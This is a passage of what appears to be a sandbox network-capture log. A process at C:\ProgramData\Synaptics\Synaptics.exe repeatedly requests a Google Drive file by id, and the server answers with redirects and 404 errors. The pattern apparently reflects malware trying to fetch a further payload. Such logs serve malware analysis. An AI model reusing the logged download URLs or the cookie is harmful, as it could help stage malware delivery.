2025-01-02 19:11:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-MRZ6Fi-hE-s8mtjRTpnOag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	56086	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:13 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:14 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-rNQxfA7vOOGF1GFj0WG9bg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	56091	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:14 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:14 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC47yH0BnLedBhQQ8KM5OsieVW4RPW5PfYPhTz2HB1GVCgOlMcWcEgX9a_TXFdpKteaP Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:14 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-rIsi4rveamBW0Y8P7N-_bQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:14 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:14 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 54 6c 63 53 4f 43 57 6d 32 77 52 73 74 2d 49 6a 48 72 65 6e 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="NTlcSOCWm2wRst-IjHrenQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:14 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	56090	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:14 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:14 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qj36NfVJ4ogh5IZB5hBocQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	56094	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:14 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:15 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6nEVo8N2UuhTdXKN0k6pwfhHOPe58maKo3XeHMlacirHm3FywN8SNxLquj_8fYoLiK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:14 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-M_U0v8aUcGJxFU_OxPwb3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:15 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:15 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 30 56 58 30 58 4e 62 62 71 48 4a 6c 79 47 4e 31 6a 74 36 6d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="D0VX0XNbbqHJlyGN1jt6mA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:15 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	56093	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:14 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:15 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ogEMtEYwBYE70fhrXH1mLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	56096	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:15 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	56095	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:15 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	56101	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:16 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-eR7sHNMbaf0nbHH5ZVUo3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	56102	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:16 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nriO-2Z4_QEswUBBRhsDVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	56104	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:17 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-OKKQXnDIqqsImnZRy_j9Wg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	56106	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:17 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-U4xFCwRFbq2580qHc5XHVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
